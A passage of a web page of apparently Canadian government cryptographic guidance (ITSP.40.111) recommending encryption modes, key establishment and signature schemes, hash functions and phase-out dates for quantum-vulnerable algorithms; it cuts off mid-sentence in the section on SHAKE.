modes of operation</a> <ul class="lst-none"><li><a href="#b111">11.1 Advanced Encryption Standard Key Wrap</a></li> <li><a href="#b112">11.2 Advanced Encryption Standard Key Wrap with Padding</a></li> </ul></li> <li><a href="#b12">12 Random bit generators</a></li> <li><a href="#b13">13 Commercial technologies assurance programs</a></li> <li><a href="#b14">14 Summary</a></li> <li><a href="#fig1">Figure 1: <abbr title="information technology">Cyber security risk management process</abbr></a></li> <li><a href="#b15">Annex 1: Revisions</a></li> </ul></details></section><section><h2 class="text-info" id="a1">1 Introduction</h2> <p>Organizations rely on information technology (IT) systems to achieve business objectives. These interconnected systems can be the targets of serious threats and cyber attacks that threaten the availability, authenticity, confidentiality and integrity of the information assets. Compromised networks, systems or information can negatively affect business activities and may result in data breaches and financial loss.</p> <p>This publication helps IT practitioners choose and appropriately use cryptographic algorithms. When used with valid domain parameters and specific key lengths, the cryptographic algorithms listed in this publication are recommended cryptographic mechanisms for protecting the authenticity, confidentiality and integrity of sensitive UNCLASSIFIED, PROTECTED A and PROTECTED B information to the medium injury level, as defined in the Cyber Centre’s <a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="40878ccb-9e7b-4370-9e97-631a42ac4a2d" href="/en/guidance/cyber-security-privacy-risk-management">Cyber security and privacy risk management: A lifecycle approach (ITSP.10.033)</a>. For requirements on the use of Cyber Centre-approved cryptography to protect PROTECTED C and classified information, email the Cyber Centre at <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p> <p>This publication complements the Treasury Board of Canada Secretariat (TBS) <a href="https://www.tbs-sct.canada.ca/pol/doc-eng.aspx?id=26262">Guideline on Defining Authentication Requirements</a>. Organizations are responsible for determining their security objectives and requirements as part of their risk management framework.</p> <h3 id="a11">1.1 Practitioner notes</h3> <p>In this publication, the Cyber Centre makes recommendations for cryptographic algorithms and parameters. We also list algorithms that should be phased out. New applications should not use these algorithms. Where these algorithms are used in existing applications, they should be replaced with the recommended algorithms in this publication. For certain algorithms, we specify a date by which organizations should replace these algorithms. In other instances, organizations should replace these algorithms as soon as possible.</p> <p>When an algorithm requires a primitive, organizations should choose 1 of the algorithms recommended in this publication, unless otherwise specified. For example, a hash function from section <a href="#a72">7.2 Secure Hash Algorithm-2</a> should be used when using the Keyed-Hash Message Authentication Code (HMAC) from section <a href="#a91">9.1 Keyed-Hash Message Authentication Code</a>. When an algorithm requires a parameter, organizations should select 1 of the recommended parameters in the given reference for the algorithm, unless otherwise specified.</p> <h3 id="a12">1.2 Policy drivers</h3> <p>Addressing and countering cyber threats and network vulnerabilities are crucial steps in securing networks, data and assets. GC departments must implement <abbr title="information technology">IT</abbr> security policies and procedures in accordance with the <abbr title="Treasury Board of Canada Secretariat">TBS</abbr> <a href="https://www.tbs-sct.canada.ca/pol/doc-eng.aspx?id=16578">Policy on Government Security</a>.</p> <h3 id="a13">1.3 Relationship to the <abbr title="information technology">IT</abbr> risk management process</h3> <p>The Cyber Centre’s <a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="40878ccb-9e7b-4370-9e97-631a42ac4a2d" href="/en/guidance/cyber-security-privacy-risk-management">Cyber security and privacy risk management: A lifecycle approach (ITSP.10.033)</a> recommend that organizations undertake activities at 2 levels: the departmental level and the information system level.</p> <div class="panel panel-default col-md-12"> <div class="panel-body"> <figure><figcaption class="text-center" id="fig1"><strong>Figure 1: Cyber security risk management process</strong></figcaption><img alt="Figure 1 – Long description immediately follows" class="img-responsive center-block" src="/sites/default/files/images/itsp.40.111-fig1-e.png" /></figure><details><summary>Long description – Figure 1: Cyber security risk management process</summary><p>This figure describes the high-level departmental <abbr title="information technology">IT</abbr> security risk management process and associated activities, as well as the information system security risk management activities. It also highlights how the <abbr title="information technology">IT</abbr> security risk management activities at both levels act together in a continuous cycle to efficiently maintain and improve the security posture of departmental information systems.</p> <p>At the departmental level, the <abbr title="information technology">IT</abbr> security risk management activities conducted by the departmental security authorities (for example, CSO, ITSC) include:</p> <ul><li>define departmental <abbr title="information technology">IT</abbr> security needs and security controls</li> <li>deploy security controls</li> <li>monitor and assess performance of security controls – maintain authorization</li> <li>identify security control updates</li> </ul><p>The key deliverables of the deploy security controls activity are departmental control profiles and departmental <abbr title="information technology">IT</abbr> threat assessment reports. These deliverables are key inputs into the security risk management activities at the information system level.</p> <p>At the information system level, the <abbr title="information technology">IT</abbr> security risk management activities conducted by <abbr title="information technology">IT</abbr> project managers, security practitioners and developers include:</p> <ul><li>define <abbr title="information technology">IT</abbr> security needs and security controls</li> <li>design and develop or acquire information system with security</li> <li>integrate, test, and install information system with security</li> <li>operate, monitor, and maintain information systems with security</li> <li>securely dispose of <abbr title="information technology">IT</abbr> assets at retirement</li> </ul><p>Information from the operations and maintenance activities provide feed back into the monitor and assess activity at the departmental level. The <abbr title="information technology">IT</abbr> security performance feedback supports the maintain authorization activity under the monitor and assess.</p> </details></div> </div> <p>Departmental-level activities are integrated into the organization’s security program to plan, manage, assess and improve the management of <abbr title="information technology">IT</abbr> security-related risks faced by the organization. Cryptographic algorithms should be considered during the define, deploy, and monitor and assess stages of the risk management process. These activities are described in detail in <a href="/en/guidance/annex-1-departmental-it-security-risk-management-activities-itsg-33">Annex 1 – Departmental IT security risk management activities (ITSG-33)</a>.</p> <p>Information system-level activities are integrated into an information system lifecycle to ensure:</p> <ul><li><abbr title="information technology">IT</abbr> security needs of supported business activities are met</li> <li>appropriate security controls are implemented and operating as intended</li> <li>continued performance of the implemented security controls is assessed, reported back and acted upon to address any issues</li> </ul><p>Cryptographic algorithms should be considered during all information system-level activities. These activities are described in detail in <a href="https://www.cyber.gc.ca/en/guidance/annex-2-information-system-security-risk-management-activities-itsg-33">Annex 2 – Information system security risk management activities (ITSG-33)</a>.</p> </section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="a2">2 Post quantum cryptography</h2> <p>In August 2024, the U.S. National Institute of Standards and Technology (NIST) published standards for 3 post-quantum algorithms which are secure against known attacks from a quantum computer:</p> <ul><li>Module-Lattice-Based Key-Encapsulation Mechanism (ML-KEM) (see section <a href="#a54">5.4 Module-Lattice-Based Key-Encapsulation Mechanism</a>)</li> <li>Module-Lattice-Based Digital Signature Algorithm (ML-DSA) (see section <a href="#a65">6.5 Module-Lattice-Based Digital Signature Algorithm</a>)</li> <li>Stateless Hash-Based Digital Signature Algorithm (SLH-DSA) (see section <a href="#a66">6.6 Stateless Hash-Based Digital Signature Algorithm</a>)</li> </ul><p><abbr title="Module-Lattice-Based Key-Encapsulation Mechanism">ML-KEM</abbr> establishes shared key material between 2 parties over a public channel. It will replace the key establishment schemes in sections <a href="#a51">5.1 Rivest Shamir-Adleman</a>, <a href="#a52">5.2 Finite Field Cryptography Diffie-Hellman and Menezes-Qu-Vanstone</a>, and <a href="#a53">5.3 Elliptic Curve Cryptography Cofactor Diffie-Hellman and Menezes-Qu-Vanstone</a> for most use cases.</p> <p><abbr title="Module-Lattice-Based Digital Signature Algorithm">ML-DSA</abbr> and <abbr title="Stateless Hash-Based Digital Signature Algorithm">SLH-DSA</abbr> are digital signature schemes. <abbr title="Module-Lattice-Based Digital Signature Algorithm">ML-DSA</abbr> is a general-purpose, lattice-based, signature scheme and will replace the signature schemes in sections <a href="#a61">6.1 Rivest-Shamir-Adelman</a> to <a href="#a64">6.4 Edwards-Curve Digital Signature Algorithm</a> for most use cases. Hash-bashed signatures, including post-quantum stateful hash-based signature schemes and <abbr title="Stateless Hash-Based Digital Signature Algorithm">SLH-DSA</abbr>, rely on a different mathematical problem than <abbr title="Module-Lattice-Based Digital Signature Algorithm">ML-DSA</abbr>. Stateful hash-based signature schemes have the additional complexity that signature generation implementations must carefully manage an internal state. Mismanagement can result in a complete loss of security. <abbr title="Stateless Hash-Based Digital Signature Algorithm">SLH-DSA</abbr> does not require state management but has inferior performance and larger signatures than <abbr title="Module-Lattice-Based Digital Signature Algorithm">ML-DSA</abbr> and the stateful hash-bashed signature schemes.</p> <p>International standards bodies are incorporating these new post-quantum algorithms into network protocols. As new protocol standards become available, the Cyber Centre’s <a href="/en/guidance/guidance-securely-configuring-network-protocols-itsp40062">Guidance on securely configuring network protocols (ITSP.40.062)</a> will be updated to include post-quantum configurations. For more detailed information on how to prepare, read <a href="/en/guidance/preparing-your-organization-quantum-threat-cryptography-itsap00017">Preparing your organization for the quantum threat to cryptography (ITSAP.00.017)</a>.</p> <p>This version of ITSP.40.111 includes new phase-out dates for quantum-vulnerable key establishment schemes and digital signature schemes.</p> <p><strong>Organizations should only use post-quantum public-key encryption and signature schemes that comply with the final, published standards (as referenced in this publication) to protect information or systems.</strong></p> </section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="a3">3 Encryption algorithms</h2> <p>The following section outlines the recommended encryption algorithms for protecting the confidentiality of UNCLASSIFIED, PROTECTED A, and PROTECTED B information.</p> <h3 id="a31">3.1 Advanced Encryption Standard algorithm</h3> <p>We recommend the Advanced Encryption Standard (AES) algorithm, as specified in <abbr title="National Institute of Standards and Technology">NIST</abbr> Federal Information Processing Standard (FIPS) <a href="https://csrc.nist.gov/pubs/fips/197/final">197: Advanced Encryption Standard</a>, with key lengths of 128, 192, and 256 bits.</p> </section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="a4">4 Encryption algorithm modes of operation</h2> <p>The following section outlines the encryption algorithm modes of operation that we recommend for use with the <abbr title="Advanced Encryption Standard">AES</abbr> algorithm specified in section <a href="#a31">3.1 Advanced Encryption Standard algorithm</a>.</p> <h3 id="a41">4.1 Protecting the confidentiality of information</h3> <p>We recommend the following block cipher modes of operation for protecting the confidentiality of UNCLASSIFIED, PROTECTED A and PROTECTED B information, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/38/a/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> Special Publication (SP) 800-38A: Recommendation for Block Cipher Modes of Operation: Methods and Techniques</a>:</p> <ul><li>Electronic Codebook (ECB) mode is only suitable for situations in which a single block of data is being encrypted, or as specified in derived algorithms such as key wrapping (see section <a href="#b11">11 Key wrap modes of operation</a>). It should not be used for bulk data encryption</li> <li>Cipher Feedback (CFB)</li> <li>Output Feedback (OFB)</li> <li>Counter (CTR)</li> <li>Cipher Block Chaining (CBC) <ul><li>When using <abbr title="Cipher Block Chaining">CBC</abbr> mode with a plaintext input of bit length greater than or equal to the block size, a padding method must be used as described in Appendix A of <abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="special publication">SP</abbr> 800-38A. Protocols typically specify particular padding methods that may be used</li> <li>If no padding method is specified, we recommend the following modes from <a href="https://csrc.nist.gov/pubs/sp/800/38/a/sup/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="special publication">SP</abbr> 800-38A Addendum: Recommendation for Block Cipher Modes of Operation: Three Variants of Ciphertext Stealing for <abbr title="Cipher Block Chaining">CBC</abbr> Mode</a> <ul><li>CBC-CS1</li> <li>CBC-CS2</li> <li>CBC-CS3</li> </ul></li> </ul></li> </ul><p><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="special publication">SP</abbr> 800-38A lists several important requirements:</p> <ul><li><abbr title="Cipher Block Chaining">CBC</abbr> and <abbr title="Cipher Feedback">CFB</abbr> modes require unpredictable Initialization Vectors (IVs)</li> <li>For <abbr title="Output Feedback">OFB</abbr> mode, the <abbr title="Initialization Vectors">IV</abbr> must be a nonce that is unique to each execution of the encryption operation. It does not need to be unpredictable</li> <li><abbr title="Counter">CTR</abbr> mode requires a unique counter block for each block of plaintext ever encrypted under a given key, across all messages</li> </ul><p>For protecting data on storage devices, we recommend XTS-<abbr title="Advanced Encryption Standard">AES</abbr> mode as specified in <a href="https://csrc.nist.gov/pubs/sp/800/38/e/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-38E: Recommendation for Block Cipher Modes of Operation: The XTS-<abbr title="Advanced Encryption Standard">AES</abbr> Mode for Confidentiality on Storage Devices</a>.</p> <h3 id="a42">4.2 Protecting the confidentiality and authenticity of information</h3> <p>We recommend the following modes of operation for protecting the confidentiality and authenticity of UNCLASSIFIED, PROTECTED A and PROTECTED B information:</p> <ul><li>Counter with Cipher Block Chaining Message Authentication Code (CCM) as specified in <a href="https://csrc.nist.gov/pubs/sp/800/38/c/upd1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800–38C: Recommendation for Block Cipher Modes of Operation: The CCM Mode for Authentication and Confidentiality</a></li> <li>Galois/Counter Mode (GCM) as specified in <a href="https://csrc.nist.gov/pubs/sp/800/38/d/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-38D: Recommendation for Block Cipher Modes of Operation: Galois/Counter Mode (GCM) and <abbr title="Galois/Counter Mode Message Authentication Code">GMAC</abbr></a></li> </ul></section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="a5">5 Key establishment schemes</h2> <p>A key establishment scheme is a procedure by which multiple participants create or obtain shared secrets, such as cryptographic keys. The following section outlines the key establishment schemes that we recommend for use with cryptographic algorithms for protecting UNCLASSIFIED, PROTECTED A and PROTECTED B information.</p> <h3 id="a51">5.1 Rivest-Shamir-Adleman</h3> <p>We recommend the Rivest-Shamir-Adleman (RSA)-based key-transport and key-agreement schemes, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/56/b/r2/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-56B Rev. 2: Recommendation for Pair-Wise Key-Establishment Schemes Using Integer Factorization Cryptography</a>, with an <abbr title="Rivest-Shamir-Adleman">RSA</abbr> modulus length of at least 2048 bits.</p> <p><strong>The <abbr title="Rivest-Shamir-Adleman">RSA</abbr> modulus length should be increased to at least 3072 bits by the end of 2030.</strong></p> <p><strong>The use of <abbr title="Rivest-Shamir-Adleman">RSA</abbr> without a post-quantum key establishment scheme should be phased out by the end of 2035.</strong></p> <h3 id="a52">5.2 Finite Field Cryptography Diffie-Hellman and Menezes-Qu-Vanstone</h3> <p>We recommend the Finite Field Cryptography (FFC) Diffie-Hellman (DH) and <abbr title="Finite Field Cryptography">FFC</abbr> Menezes-Qu-Vanstone (MQV)-based key-agreement schemes with valid domain parameters, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/56/a/r3/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-56A Rev. 3: Recommendation for Pair-Wise Key-Establishment Schemes Using Discrete Logarithm Cryptography</a>. The field size (prime modulus parameter) should be at least 2048 bits.</p> <p><strong>The <abbr title="Finite Field Cryptography">FFC</abbr> field size should be increased to at least 3072 bits by the end of 2030.</strong></p> <p><strong>The use of <abbr title="Finite Field Cryptography">FFC</abbr> <abbr title="Diffie-Hellman">DH</abbr> and <abbr title="Finite Field Cryptography">FFC</abbr> <abbr title="Menezes-Qu-Vanstone">MQV</abbr> without a post-quantum key establishment scheme should be phased out by the end of 2035.</strong></p> <h3 id="a53">5.3 Elliptic curve cryptography Cofactor Diffie-Hellman and Menezes-Qu-Vanstone</h3> <p>We recommend the Elliptic Curve Cryptography (ECC) Cofactor Diffie-Hellman (ECC CDH) and <abbr title="Elliptic Curve Cryptography">ECC</abbr> <abbr title="Menezes-Qu-Vanstone">MQV</abbr>-based key-agreement schemes as specified in <a href="https://csrc.nist.gov/pubs/sp/800/56/a/r3/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-56A Rev. 3: Recommendation for Pair-Wise Key-Establishment Schemes Using Discrete Logarithm Cryptography</a>. We recommend the following elliptic curves specified in <a href="https://csrc.nist.gov/pubs/sp/800/186/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-186: Recommendations for Discrete Logarithm-based Cryptography: Elliptic Curve Domain Parameters</a>:</p> <ul><li>Curve P-224</li> <li>Curve P-256</li> <li>Curve P-384</li> <li>Curve P-521</li> </ul><p><strong>Curve P-224 should be phased out by the end of 2030.</strong> We no longer recommend binary curves specified in <a href="https://csrc.nist.gov/pubs/fips/186-4/final">Appendix D of <abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 186-4: Digital Signature Standard</a>.</p> <p><strong>All binary curves should be phased out by the end of 2030. A list of the curves to be phased out can be found in Section 3.3 of the <a href="https://csrc.nist.gov/pubs/sp/800/186/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-186: Recommendations for Discrete Logarithm-based Cryptography: Elliptic Curve Domain Parameters</a></strong>.</p> <p><strong>The use of <abbr title="Elliptic Curve Cryptography">ECC</abbr> <abbr title="Cofactor Diffie-Hellman">CDH</abbr> and <abbr title="Elliptic Curve Cryptography">ECC</abbr> <abbr title="Menezes-Qu-Vanstone">MQV</abbr> without a post-quantum key establishment scheme should be phased out by the end of 2035.</strong></p> <h3 id="a54">5.4 Module-Lattice-Based Key-Encapsulation Mechanism</h3> <p>We recommend the Module-Lattice-Based Key-Encapsulation Mechanism (ML-KEM) as a general-purpose, post-quantum key establishment scheme, as specified in <a href="https://csrc.nist.gov/pubs/fips/203/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 203: Module-Lattice-Based Key-Encapsulation Mechanism Standard</a>, with the following parameters:</p> <ul><li>ML-KEM-512</li> <li>ML-KEM-768</li> <li>ML-KEM-1024</li> </ul></section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="a6">6 Digital signature schemes</h2> <p>The following section outlines the algorithms that we recommend for digital signature applications providing data integrity and data origin authentication of UNCLASSIFIED, PROTECTED A and PROTECTED B information. We also specify a digital signature scheme that was recommended in a previous version of this publication but should be phased out by the end of 2030.</p> <h3 id="a61">6.1 Rivest-Shamir-Adleman</h3> <p>We recommend the Rivest-Shamir-Adleman (RSA) digital signature algorithm, using RSASSA-PKCS1-v1.5 or RSASSA-PSS, as specified in <a href="https://csrc.nist.gov/pubs/fips/186-5/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 186-5: Digital Signature Standard</a> with an <abbr title="Rivest-Shamir-Adleman">RSA</abbr> modulus length of at least 2048 bits.</p> <p><strong>The <abbr title="Rivest-Shamir-Adleman">RSA</abbr> modulus length should be increased to at least 3072 bits by the end of 2030.</strong></p> <p><strong>The use of <abbr title="Rivest-Shamir-Adleman">RSA</abbr> without a post-quantum digital signature scheme should be phased out by the end of 2035.</strong></p> <h3 id="a62">6.2 Digital Signature Algorithm</h3> <p><strong>The use of Digital Signature Algorithm (DSA) should be phased out by the end of 2030.</strong></p> <p>We no longer recommend the <abbr title="Digital Signature Algorithm">DSA</abbr> as specified in <a href="https://csrc.nist.gov/pubs/fips/186-4/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 186-4: Digital Signature Standard</a> for new applications. Existing applications must use valid domain parameters for a field size (prime modulus parameter) of at least 2048 bits.</p> <h3 id="a63">6.3 Elliptic Curve Digital Signature Algorithm</h3> <p>We recommend the Elliptic Curve Digital Signature Algorithm (ECDSA) and deterministic <abbr title="Elliptic Curve Digital Signature Algorithm">ECDSA</abbr><sup id="fn1-rf"><a class="fn-lnk" href="#fn1"><span class="wb-inv">Footnote </span>1</a></sup> as specified in <a href="https://csrc.nist.gov/pubs/fips/186-5/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 186-5: Digital Signature Standard</a>. We recommend the following elliptic curves specified in <a href="https://csrc.nist.gov/pubs/sp/800/186/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-186: Recommendations for Discrete Logarithm-based Cryptography: Elliptic Curve Domain Parameters</a>:</p> <ul><li>Curve P-224</li> <li>Curve P-256</li> <li>Curve P-384</li> <li>Curve P-521</li> </ul><p><strong>Curve P-224 should be phased out by the end of 2030.</strong></p> <p>We no longer recommend binary curves specified in Appendix D of <a href="https://csrc.nist.gov/pubs/fips/186-4/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 186-4: Digital Signature Standard</a>.</p> <p><strong>All binary curves should be phased out by the end of 2030.</strong> A list of the curves to be phased out can be found in section 3.3 of <a href="https://csrc.nist.gov/pubs/sp/800/186/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-186: Recommendations for Discrete Logarithm-based Cryptography: Elliptic Curve Domain Parameters</a>.</p> <p><strong>The use of <abbr title="Elliptic Curve Digital Signature Algorithm">ECDSA</abbr> without a post-quantum digital signature scheme should be phased out by the end of 2035.</strong></p> <h3 id="a64">6.4 Edwards-Curve Digital Signature Algorithm</h3> <p>We recommend the Edwards-Curve Digital Signature Algorithm (EdDSA) as specified in <a href="https://csrc.nist.gov/pubs/fips/186-5/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 186-5: Digital Signature Standard</a> with the following elliptic curves specified in <a href="https://csrc.nist.gov/pubs/sp/800/186/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-186: Recommendations for Discrete Logarithm-based Cryptography: Elliptic Curve Domain Parameters</a>:</p> <ul><li>Edwards25519</li> <li>Edwards448</li> </ul><p>We do not recommend the prehash version Hash<abbr title="Edwards-Curve Digital Signature Algorithm">EdDSA</abbr>.</p> <p><strong>The use of <abbr title="Edwards-Curve Digital Signature Algorithm">EdDSA</abbr> without a post-quantum digital signature scheme should be phased out by the end of 2035.</strong></p> <h3 id="a65">6.5 Module-Lattice-Based Digital Signature Algorithm</h3> <p>We recommend the Module-Lattice-Based Digital Signature scheme Algorithm (ML-DSA) as a general-purpose, post-quantum digital signature scheme as specified in <a href="https://csrc.nist.gov/pubs/fips/204/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 204: Module-Lattice-Based Digital Signature Standard</a> with the following parameters:</p> <ul><li>ML-DSA-44</li> <li>ML-DSA-65</li> <li>ML-DSA-87</li> </ul><h3 id="a66">6.6 Stateless Hash-Based Digital Signature Algorithm</h3> <p>We recommend the Stateless Hash-Based Digital Signature Algorithm (SLH-DSA) as a post-quantum digital signature scheme as specified in <a href="https://csrc.nist.gov/pubs/fips/205/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 205: Stateless Hash-Based Digital Signature Standard</a> with the following parameters:</p> <ul><li>SLH-DSA-SHA2-128s</li> <li>SLH-DSA-SHAKE-128s</li> <li>SLH-DSA-SHA2-128f</li> <li>SLH-DSA-SHAKE-128f</li> <li>SLH-DSA-SHA2-192s</li> <li>SLH-DSA-SHAKE-192s</li> <li>SLH-DSA-SHA2-192f</li> <li>SLH-DSA-SHAKE-192f</li> <li>SLH-DSA-SHA2-256s</li> <li>SLH-DSA-SHAKE-256s</li> <li>SLH-DSA-SHA2-256f</li> <li>SLH-DSA-SHAKE-256f</li> </ul><h3 id="a67">6.7 Stateful hash-based signature schemes</h3> <p>Stateful hash-based signature schemes are another family of post-quantum digital signature schemes. Implementations of signature generation for stateful hash-based signature schemes must carefully manage an internal state. This is an additional complexity in comparison to other types of digital signature schemes. Mismanagement of the internal state can result in a complete loss of security. Previously, we recommended stateful hash-based signatures when certain conditions applied, including when a post-quantum signature scheme must be implemented before general-purpose, post-quantum signature schemes were standardized. Although stateful hash-based signature schemes can still be used, the newly standardized post-quantum digital signature schemes <abbr title="Module-Lattice-Based Digital Signature Algorithm">ML-DSA</abbr> and <abbr title="Stateless Hash-Based Digital Signature Algorithm">SLH-DSA</abbr> do not require state management (sections <a href="#a65">6.5 Module-Lattice-Based Digital Signature Algorithm</a> and <a href="#a66">6.6 Stateless Hash-Based Digital Signature Algorithm</a>) and can be used in most situations where a digital signature scheme is needed. Stateful hash-based signatures should only be used when the signer is not required to rapidly produce signatures and is able to protect and manage private key state.</p> <p>If you are using stateful hash-based signatures, we recommend the following post-quantum digital signature schemes, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/208/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-208: Recommendation for Stateful Hash-based Signatures Scheme</a>, using one of the hash functions <abbr title="Secure Hash Algorithm">SHA</abbr>-256, <abbr title="Secure Hash Algorithm">SHA</abbr>-256/192, SHAKE256/256, or SHAKE256/192 specified in section 2.3 of <a href="https://csrc.nist.gov/pubs/sp/800/208/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-208: Recommendation for Stateful Hash-Based Signature Schemes</a>.</p> <ul><li>Leighton-Micali Signature (LMS)</li> <li>Hierarchical Signature System (HSS)</li> <li>eXtended Merkle Signature Scheme (XMSS)</li> <li>Multi-tree eXtended Merkle Signature Scheme (XMSS^MT)</li> </ul></section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="a7">7 Hash functions</h2> <p>A hash function is a procedure to transform a message of arbitrary length into an output, called a "digest", of fixed length. A secure (cryptographic) hash function should satisfy additional properties, such as "collision resistance", whereby it is infeasible to find distinct messages with the same digest. The following section outlines the recommended hash functions for use with the cryptographic algorithms specified in this publication for protecting UNCLASSIFIED, PROTECTED A and PROTECTED B information.</p> <h3 id="a71">7.1 Secure Hash Algorithm-1</h3> <p>We no longer recommend the use of Secure Hash Algorithm-1 (SHA-1), as specified in <a href="https://csrc.nist.gov/pubs/fips/180-4/upd1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 180-4: Secure Hash Standard</a>, which was previously approved for use with keyed-hash message authentication codes, key derivation functions (KDFs) and random bit generators (RBGs).</p> <p><strong><abbr title="Secure Hash Algorithm">SHA</abbr>-1 must not be used with digital signature schemes or with any applications that require collision resistance. <abbr title="Secure Hash Algorithm">SHA</abbr>-1 should be phased out for use in keyed-hash message authentication codes, <abbr title="key derivation functions">KDFs</abbr>, and <abbr title="random bit generators">RBGs</abbr>.</strong></p> <h3 id="a72">7.2 Secure Hash Algorithm-2</h3> <p>We recommend <abbr title="Secure Hash Algorithm">SHA</abbr>-224, <abbr title="Secure Hash Algorithm">SHA</abbr>-256, <abbr title="Secure Hash Algorithm">SHA</abbr>-384, <abbr title="Secure Hash Algorithm">SHA</abbr>-512, <abbr title="Secure Hash Algorithm">SHA</abbr>-512/224, and <abbr title="Secure Hash Algorithm">SHA</abbr>-512/256, as specified in <a href="https://csrc.nist.gov/pubs/fips/180-4/upd1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 180-4: Secure Hash Standard</a>, for use with digital signature schemes, keyed-hash message authentication codes, <abbr title="key derivation functions">KDFs</abbr> and <abbr title="random bit generators">RBGs</abbr>. The truncated hash function <abbr title="Secure Hash Algorithm">SHA</abbr>-256/192 specified in <a href="https://csrc.nist.gov/pubs/sp/800/208/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-208: Recommendation for Stateful Hash-Based Signature Schemes</a> is only recommended for use with the stateful hash-based signature schemes listed in section <a href="#a67">6.7 Stateful hash-based signature schemes</a>.</p> <p><strong><abbr title="Secure Hash Algorithm">SHA</abbr>-224 should be phased out by the end of 2030.</strong></p> <h3 id="a73">7.3 Secure Hash Alogorithm-3</h3> <p>We recommend <abbr title="Secure Hash Algorithm">SHA</abbr>3-224, <abbr title="Secure Hash Algorithm">SHA</abbr>3-256, <abbr title="Secure Hash Algorithm">SHA</abbr>3-384, and <abbr title="Secure Hash Algorithm">SHA</abbr>3-512, as specified in <a href="https://csrc.nist.gov/pubs/fips/202/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 202: <abbr title="Secure Hash Algorithm">SHA</abbr>-3 Standard: Permutation-Based Hash and Extendable-Output Functions</a>, for use with digital signature schemes, keyed-hash message authentication codes, <abbr title="key derivation functions">KDFs</abbr> and <abbr title="random bit generators">RBGs</abbr>.</p> <p><strong><abbr title="Secure Hash Algorithm">SHA</abbr>3-224 should be phased out by the end of 2030.</strong></p> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> </section><section><h2 class="text-info" id="a8">8 Extendable output functions</h2> <p>An extendable-output function (XOF) is a procedure to transform a message of arbitrary length into an output that can be extended to any desired length. A secure <abbr title="extendable-output function">XOF</abbr> should satisfy additional properties, such as "collision resistance", whereby it is infeasible to find distinct messages with the same output. The following section outlines 2 <abbr title="extendable-output functions">XOFs</abbr> that we recommend for use with select cryptographic algorithms specified in this publication for protecting UNCLASSIFIED, PROTECTED A and PROTECTED B information.</p> <h3 id="a81">8.1 SHAKE</h3> <p>We recommend SHAKE128, as specified in <a href="https://csrc.nist.gov/pubs/fips/202/final"><abbr title="National Institute 